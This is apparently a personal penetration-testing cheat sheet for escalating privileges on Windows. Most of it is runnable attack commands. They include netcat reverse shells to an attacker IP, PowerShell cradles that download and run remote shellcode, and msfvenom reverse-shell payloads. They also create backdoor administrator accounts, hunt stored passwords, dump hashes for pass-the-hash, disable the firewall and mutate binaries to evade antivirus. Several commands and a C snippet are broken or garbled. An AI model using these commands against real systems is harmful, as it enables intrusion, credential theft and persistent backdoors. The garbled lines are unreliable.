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Windows PrivEsc Technique

Incorrect permissions in services

A service running as Administrator/SYSTEM with incorrect file permissions might allow PE. You can replace the binary, restart the service and get system.
We are interested in services where permissions are: BUILTIN\Users with (F) or (C) or (M) for our group.
Common exploitation payloads involve: Replacing the affecting binary with a reverse shell or a command that creates a new user and adds it to the Administrator group. Replace the affected service with your payload and and restart the service running:
wmic service NAMEOFSERVICE call startservice
net stop [service name] && net start [service name]
sc start/stop serviceName
The following commands will print the affected services:
for /f "tokens=2 delims='='" %a in ('wmic service list full^|find /i "pathname"^|find /i /v "system32"') do @echo %a >> c:\windows\temp\permissions.txt
for /f eol^=^"^ delims^=^" %a in (c:\windows\temp\permissions.txt) do cmd.exe /c icacls "%a"
If wmic is not available we can use sc.exe:
sc query state= all | findstr "SERVICE_NAME:" >> Servicenames.txt
FOR /F %i in (Servicenames.txt) DO echo %i
type Servicenames.txt
FOR /F "tokens=2 delims= " %i in (Servicenames.txt) DO @echo %i >> services.txt
FOR /F %i in (services.txt) DO @sc qc %i | findstr "BINARY_PATH_NAME" >> path.txt
You can also manually check each service using cacls:
cacls "C:\path\to\file.exe"
If you don't have access to wmic, you can do:
sc qc upnphost
Windows XP SP1 is known to be vulnerable to PE in upnphost. You get Administrator with:
sc config upnphost binpath= "C:\Inetpub\wwwroot\nc.exe YOUR_IP 1234 -e C:\WINDOWS\System32\cmd.exe"
sc config upnphost obj= ".\LocalSystem" password= ""
sc qc upnphost
If it fails because of a missing dependency, run the following:
sc config SSDPSRV start= auto
net start SSDPSRV
net start upnphost
Or remove the dependency:
sc config upnphost depend= ""
Using meterpreter:


If wmic and sc is not available, you can use accesschk. For Windows XP, version 5.2 of accesschk is needed:
accesschk.exe -uwcqv "Authenticated Users" * /accepteula
accesschk.exe -qdws "Authenticated Users" C:\Windows\ /accepteula
accesschk.exe -qdws Users C:\Windows\
Then query the service using Windows sc:
sc qc <vulnerable service name>
Then change the binpath to execute your own commands (restart of the service will most likely be needed):
sc config <vuln-service> binpath= "net user backdoor backdoor123 /add"
sc stop <vuln-service>
sc start <vuln$ -service>
sc config <vuln-service> binpath= "net localgroup Administrators backdoor /add"
sc stop <vuln-service>
sc start <vuln-service>
Note - Might need to use the depend attribute explicitly:sc stop <vuln-service>
sc config <vuln-service> binPath= "c:\inetpub\wwwroot\runmsf.exe" depend= "" start= demand obj= ".\LocalSystem" password= ""
sc start <vuln-service>

Find unquoted paths

If we find a service running as SYSTEM/Administrator with an unquoted path and spaces in the path we can hijack the path and use it to elevate privileges. This occurs because windows will try, for every white space, to find the binary in every intermediate folder.
For example, the following path would be vulnerable:
C:\Program Files\something\winamp.exe
Not vulnerable
"C:\Program Files\something\winamp.exe"
We could place our payload with any of the following paths:
C:\winamp.exe (this is a reverse shell with the same names as legal program)
The following command will display affected services:
wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr /i /v """

Check Permissions

We might even be able to override the service executable, always check out the permissions of the service binary:
icacls "C:\Program Files (x86)\Program Folder"
You can automate with meterpreter:


PowerUp is an extremely useful script for quickly checking for obvious paths to privilege escalation on Windows. It is not an exploit itself, but it can reveal vulnerabilities such as administrator password stored in registry and similar. We shamelessly use harmj0y's guide as reference point for the following guide. Some basic knowledge about how to import Powershell modules and used them is required.
Import the PowerUp module with the following:
PS C:\> Import-Module PowerUp.ps1
If you want to invoke everything without touching disk, use something like this:
C:\> powershell -nop -exec bypass -c “IEX (New-Object Net.WebClient).DownloadString(‘http://bit.ly/1mK64oH’); Invoke-AllChecks”

Finding stuff fast

ClearText passwords (quick hits)
findstr /s /C:"stringtosearchfor.txt" "C:*"
We might sometimes find passwords in arbitrary files, you can find them running:
findstr /si password *.txt
findstr /si password *.xml
findstr /si password *.ini
Find all those strings in config files.
dir /s *pass* == *cred* == *vnc* == *.config*
Find all passwords in all files.
findstr /spin "password" *.*
findstr /spin "password" *.*
These are common files to find them in. They might be base64-encoded. So look out for that.
type c:\sysprep.inf
type c:\sysprep\sysprep.xml
type c:\unattend.xml
type %WINDIR%\Panther\Unattend\Unattended.xml
type %WINDIR%\Panther\Unattended.xml
dir c:*vnc.ini /s /b
dir c:*ultravnc.ini /s /b
dir c:\ /s /b | findstr /si *vnc.ini
Stuff in the registry:
reg query HKLM /f password /t REG_SZ /s
reg query HKCU /f password /t REG_SZ /s
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon"
reg query "HKLM\SYSTEM\Current\ControlSet\Services\SNMP"
reg query "HKCU\Software\SimonTatham\PuTTY\Sessions"
reg query HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\WinVNC4 /v password
Using meterpreter:

Pass the hash

Pass The Hash allows an attacker to authenticate to a remote target by using a valid combination of username and NTLM/LM hash rather than a cleartext password.
Windows hash format:
You can do a hash dump in the affected system running:
wce32.exe -w
wce64.exe -w
Download and run fgdump.exe on the target machine.
cd /usr/share/windows-binaries/fgdump; python -m SimpleHTTPServer 80
pth-winexe -U DOMAIN/user%hash //$ip cmd
export SMBHASH=xxx
pth-winexe -U user% //$ip cmd
You can also do run as, with the hash:

Technique 1:

C:\Windows\System32\runas.exe /env /noprofile /user:<username> <password> "c:\users\Public\nc.exe -nc <attacker-ip> 4444 -e cmd.exe"

Technique 2:

secpasswd = ConvertTo-SecureString "<password>" -AsPlainText -Force
mycreds = New-Object System.Management.Automation.PSCredential ("<user>", $secpasswd)
computer = "<hostname>"
powershell -ExecutionPolicy Bypass -File c:\users\public\r.ps1

Technique 3:

psexec64 \\COMPUTERNAME -u Test -p test -h "c:\users\public\nc.exe -nc <attacker_ip> 4444 -e cmd.exe"

Services only available from loopback

You can find services bind to the loopback interface that are not reachable through the network running. Look for LISTENING/LISTEN:
netstat -ano
Port forward using plinplink.exe -l root -pw mysecretpassword -R 8080:
Port forward using meterpreter
portfwd add -l <attacker port> -p <victim port> -r <victim ip>
portfwd add -l 3306 -p 3306 -r
If powershell is blocked, you can download:
Once you know the updates installed, you can find known exploits using windows-exploit-suggester.
./windows-exploit-suggester.py -d 2017-02-09-mssb.xls -p ms16-075
[*] initiating winsploit version 3.2…
[*] database file detected as xls or xlsx based on extension
[*] searching all kb’s for bulletin id MS16-075
[+] relevant kbs [‘3164038’, ‘3163018’, ‘3163017’, ‘3161561’]
[*] done
In March 2017 Microsoft stopped maintaining the security bulletin search. This means the Windows Exploit Suggester database will not include any vulnerabilities or exploits found after that date. Still, this tool can still be very useful on older systems.
Compile windows exploit in linux:
i686-w64-mingw32-gcc 18176.c -lws2_32 -o 18176.exe
Compiling python scripts to executables:
wine ~/.wine/drive_c/Python27/Scripts/pyinstaller.exe --onefile 18176.py


AlwaysInstallElevated is a setting that allows non-privileged users the ability to run Microsoft Windows Installer Package Files (MSI) with elevated (SYSTEM) permissions.
Check if these 2 registry values are set to "1"reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
If they are, create your own malicious msi:
msfvenom -p windows/adduser USER=backdoor PASS=backdoor123 -f msi -o evil.msi
Then use msiexec on victim to execute your msi:
msiexec /quiet /qn /i C:\evil.msi
Metasploit module:
use exploit/windows/local/always_install_elevated



Vulnerable drivers

Third party drivers might contain vulnerabilities, find them running:

Kernel vulnerabilities

Run exploit suggester against systeminfo:
Don't rely on this - there are a lot of false positive! This is generally a last resort.
python windows-exploit-suggester.py -d 2017-05-27-mssb.xls -i systeminfo.txt
Find installed paths:
wmic qfe get Caption,Description,HotFixID,InstalledOn

Comprehensive tables of vulnerabilities below:

[+] Windows vulnerabilities:
Windows XP:
CVE-2012-4349 Unquoted windows search path - Windows provides the capability of including spaces in path names - can be root
CVE-2011-1345 Internet Explorer does not properly handle objects in memory - allows remote execution of code via object
CVE-2010-3138 EXPLOIT-DB 14765 - Untrusted search path vulnerability - allows local users to gain privileges via a Trojan horse
CVE-2011-5046 EXPLOIT-DB 18275 - GDI in windows does not properly validate user-mode input - allows remote code execution
CVE-2002-1214 ms02_063_pptp_dos - exploits a kernel based overflow when sending abnormal PPTP Control Data packets - code execution, DoS
CVE-2003-0352 ms03_026_dcom - exploits a stack buffer overflow in the RPCSS service
CVE-2003-0533 MS04-011 - ms04_011_lsass - exploits a stack buffer overflow in the LSASS service
CVE-2003-0719 ms04_011_pct - exploits a buffer overflow in the Microsoft Windows SSL PCT protocol stack - Private communication target overflow
CVE-2010-3970 ms11_006_createsizeddibsection - exploits a stack-based buffer overflow in thumbnails within .MIC files - code execution
CVE-2010-3147 EXPLOIT-DB 14745 - Untrusted search path vulnerability in wab.exe - allows local users to gain privileges via a Trojan horse
CVE-2003-0812 ms03_049_netapi - exploits a stack buffer overflow in the NetApi32
CVE-2003-0818 ms04_007_killbill - vulnerability in the bit string decoding code in the Microsoft ASN.1 library
CVE-2003-0822 ms03_051_fp30reg_chunked - exploit for the chunked encoding buffer overflow described in MS03-051
CVE-2004-0206 ms04_031_netdde - exploits a stack buffer overflow in the NetDDE service
Windows 7:
CVE-2014-4114 ms14_060_sandworm - exploits a vulnerability found in Windows Object Linking and Embedding - arbitrary code execution
CVE-2015-0016 ms15_004_tswbproxy - abuses a process creation policy in Internet Explorer's sandbox - code execution
CVE-2014-4113 ms14_058_track_popup_menu - exploits a NULL Pointer Dereference in win32k.sys - arbitrary code execution
CVE-2010-3227 EXPLOIT-DB - Stack-based buffer overflow in the UpdateFrameTitleForDocument method - arbitrary code execution
CVE-2018-8494 remote code execution vulnerability exists when the Microsoft XML Core Services MSXML parser processes user input
CVE-2010-2744 EXPLOIT-DB 15894 - kernel-mode drivers in windows do not properly manage a window class - allows privileges escalation
CVE-2010-0017 ms10_006_negotiate_response_loop - exploits a denial of service flaw in the Microsoft Windows SMB client - DoS
CVE-2010-0232 ms10_015_kitrap0d - create a new session with SYSTEM privileges via the KiTrap0D exploit
CVE-2010-2550 ms10_054_queryfs_pool_overflow - exploits a denial of service flaw in the Microsoft Windows SMB service - DoS
CVE-2010-2568 ms10_046_shortcut_icon_dllloader - exploits a vulnerability in the handling of Windows Shortcut files (.LNK) - run a payload
Windows 8:
CVE-2013-0008 ms13_005_hwnd_broadcast - attacker can broadcast commands from lower Integrity Level process to a higher one - privilege escalation
CVE-2013-1300 ms13_053_schlamperei - kernel pool overflow in Win32k - local privilege escalation
CVE-2013-3660 ppr_flatten_rec - exploits EPATHOBJ::pprFlattenRec due to the usage of uninitialized data - allows memory corruption
CVE-2013-3918 ms13_090_cardspacesigninhelper - exploits CardSpaceClaimCollection class from the icardie.dll ActiveX control - code execution
CVE-2013-7331 ms14_052_xmldom - uses Microsoft XMLDOM object to enumerate a remote machine's filenames
CVE-2014-6324 ms14_068_kerberos_checksum - exploits the Microsoft Kerberos implementation - privilege escalation
CVE-2014-6332 ms14_064_ole_code_execution - exploits the Windows OLE Automation array vulnerability
CVE-2014-6352 ms14_064_packager_python - exploits Windows Object Linking and Embedding (OLE) - arbitrary code execution
CVE-2015-0002 ntapphelpcachecontrol - NtApphelpCacheControl Improper Authorization Check - privilege escalation
Windows 10:
CVE-2015-1769 MS15-085 - Vulnerability in Mount Manager - Could Allow Elevation of Privilege
CVE-2015-2426 ms15_078_atmfd_bof MS15-078 - exploits a pool based buffer overflow in the atmfd.dll driver
CVE-2015-2479 MS15-092 - Vulnerabilities in .NET Framework - Allows Elevation of Privilege
CVE-2015-2513 MS15-098 - Vulnerabilities in Windows Journal - Could Allow Remote Code Execution
CVE-2015-2423 MS15-088 - Unsafe Command Line Parameter Passing - Could Allow Information Disclosure
CVE-2015-2431 MS15-080 - Vulnerabilities in Microsoft Graphics Component - Could Allow Remote Code Execution
CVE-2015-2441 MS15-091 - Vulnerabilities exist when Microsoft Edge improperly accesses objects in memory - allows remote code execution
CVE-2015-0057 exploits GUI component of Windows namely the scrollbar element - allows complete control of a Windows machine
Windows Server 2003:
CVE-2008-4114 ms09_001_write - exploits a denial of service vulnerability in the SRV.SYS driver - DoS
CVE-2008-4250 ms08_067_netapi - exploits a parsing flaw in the path canonicalization code of NetAPI32.dll - bypassing NX
CVE-2017-8487 allows an attacker to execute code when a victim opens a specially crafted file - remote code execution

Windows version map

Operating System Version Number
Windows 1.0 1.04
Windows 2.0 2.11
Windows 3.0 3
Windows NT 3.1 3.10.528
Windows for Workgroups 3.11 3.11
Windows NT Workstation 3.5 3.5.807
Windows NT Workstation 3.51 3.51.1057
Windows 95 4.0.950
Windows NT Workstation 4.0 4.0.1381
Windows 98 4.1.1998
Windows 98 Second Edition 4.1.2222
Windows Me 4.90.3000
Windows 2000 Professional 5.0.2195
Windows XP 5.1.2600
Windows Vista 6.0.6000
Windows 7 6.1.7600
Windows 8.1 6.3.9600
Windows 10 10.0.10240

Automated tools


PowerSploit is a collection of Microsoft PowerShell modules that can be used to aid penetration testers during all phases of an assessment

Reverse Shell from Windows

If there’s a way, we can execute code from windows, we may try
  • Uploading ncat and executing it
  • Powershell Empire/ Metasploit Web-Delivery Method
  • Invoke-Shellcode (from powersploit) see below
Powershell.exe -NoP -NonI -W Hidden -Exec Bypass IEX (New-Object Net.WebClient).DownloadString('http://YourIPAddress:8000/Invoke-Shellcode.ps1'); Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost YourIPAddress -Lport 4444 -Force"


use priv

Metasploit incognito

use incognito
list_tokens -u
list_tokens -g
impersonate_token DOMAIN_NAME\\USERNAME
steal_token PID

Useful commands

Add a new user
net user test 1234 /add
net localgroup administrators test /add
Print files contents:
type file
Remove file
del /f file
Change password for user:
net user <user> <password>
List users:
net user
Info about a user:
net user <username>
Permissions on a folder recursively:
cacls *.* /t /e /g domainname\administrator:f

Enable RDP access

This is useful to do because generally it is easier to manipulate windows using the GUI. The downside is that you're most definitely will have an impact on the machine, as you may have to create a user or change a user's password to get in.
reg add "hklm\system\currentcontrolset\control\terminal server" /f /v fDenyTSConnections /t REG_DWORD /d 0
netsh firewall set service remoteadmin enable
netsh firewall set service remotedesktop enable
Disable firewall
netsh firewall set opmode disable
Run exploit
C:\tmp>powershell -ExecutionPolicy ByPass -command "& { . C:\tmp\Invoke-MS16-032.ps1; Invoke-MS16-032 }"




Module to elevate privileges to SYSTEM by creating a service or hijacking existing ones with incorrect permissions

Other scripts


Generate php reverse shell:

msfvenom -p php/reverse_php LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.php
msfvenom -p php/meterpreter/reverse_tcp LHOST=<attacker_ip> -o meterpreter.php
msfvenom -p generic/shell_reverse_tcp LHOST=<attacker_ip> LPORT=4444 -f php -o shell.php


msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f asp > shell.asp

Generate shellcode to use within a perl exploit:

msfvenom -p linux/x86/shell/reverse_tcp LHOST=<attacker_ip> LPORT=443 -f perl -b \x00\x0A\x0D\xFF

Raw paylaod:

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<attacker_ip> LPORT=4444 -f raw -o test.bin

Js payload:

msfvenom -p linux/x86/shell_reverse_tcp LHOST=<attacker_ip> LPORT=443 -f js_le

Handling reverse shell using meterpreter:

use exploit/multi/handler
set lport 1234
set lhost <attacker_ip>
set payload windows/shell/reverse_tcp

Other payloads:

set PAYLOAD windows/meterpreter/reverse_tcp
set PAYLOAD generic/shell_reverse_tcp
set PAYLOAD linux/x86/meterpreter/reverse_tcp

Privilege escalation


Useful exploits

Automatically downloads and compiles exploit

wget https://raw.githubusercontent.com/wwong99/pentest-notes/master/scripts/xploit_installer.py
USAGE: xploit_installer.py <exploit id>

Windows Remote Exploits:

0: windows_exploit_suggester
1: ms03-026
2: ms03-039 (1)
3: ms03-039 (2)
4: *ms03-049
5: ms04-007
6: ms04-011 - ssl bof
7: ms04-011 - lsasarv.dll
8: ms04-031
9: ms05-017
10: ms05-039
11: *ms06-040 (1)
12: ms06-040 (2)
13: ms06-070
14: *ms08-067 (1)
15: ms08-067 (2)
16: ms08-067 (3)
17: *ms09-050

Windows Local Exploits:

18: windows-privesc-check
19: ms04-011
20: ms04-019 (1)
21: ms04-019 (2)
22: ms04-019 (3)
23: ms04-020
24: *keybd_event
25: *ms05-018
26: *ms05-055
27: ms06-030
28: ms06-049
29: print spool service
30: *ms08-025
31: netdde
32: ms10-015
33: ms10-059
34: ms10-092
35: ms11-080
36: ms14-040
37: *ms14-058 (1)
38: ms14-058 (2)
39: *ms14-070 (1)
40: ms14-070 (2)
41: *ms15-010 (1)
42: *ms15-010 (2)
43: ms15-051
44: *ms16-014
45: ms16-016
46: ms16-032
Check out:
Windows Server 2003 and IIS 6.0 privilege escalation using impersonation:
/churrasco/-->Usage: Churrasco.exe [-d] "command to run"
c:\Inetpub>churrasco -d "net user /add <username> <password>"
c:\Inetpub>churrasco -d "net localgroup administrators <username> /add"

Windows MS11-080

python pyinstaller.py --onefile ms11-080.py
mx11-080.exe -O XP
From admin to system
psexec.exe -i -s %SystemRoot%\system32\cmd.exe

AV bypass

Generating a mutated binary to bypass antiviruses
wine hyperion.exe ../backdoor.exe ../backdoor_mutation.exe

Access Check

You will probably need to accept the eula first:
accesschk.exe /accepteula

Windows hashes

NTLM and LM passwords are located in the SAM file in C:\Windows\SYSTEM32\CONFIG
LAN Manager (LM): Windows XP and prior use LAN manager protocol. Uses DES but the key space is small (only uppercase, not salted, 14 chars or padded to 14).
NTLM/NTLM2: It does not split the password, also stored in uppercase
Kerberos: Default protocol for active directory envs.PoCs
Add user to administrator group
#include <stdlib.h>
int main ()
int i;
i = system("net localgroup administrators theusername /add");
return 0;
i686-w64-mingw32-gcc windows-exp.c -lws2_32 -o exp.exe
Run an arbitrary command:
echo -e '#include <stdio.h>\n#include <smain () {\nsystem("C:\\Users\\Administrator\\Desktop\\nc -lvp 4313 -e cmd.exe");\nreturn(0);\n}'> poc.c
echo. & echo. & echo whoami: & whoami 2> nul & echo %username% 2> nul & echo. & echo Hostname: & hostname & echo. & ipconfig /all & echo. & echo proof.txt: & type "C:\Documents and Settings\Administrator\Desktop\proof.txt"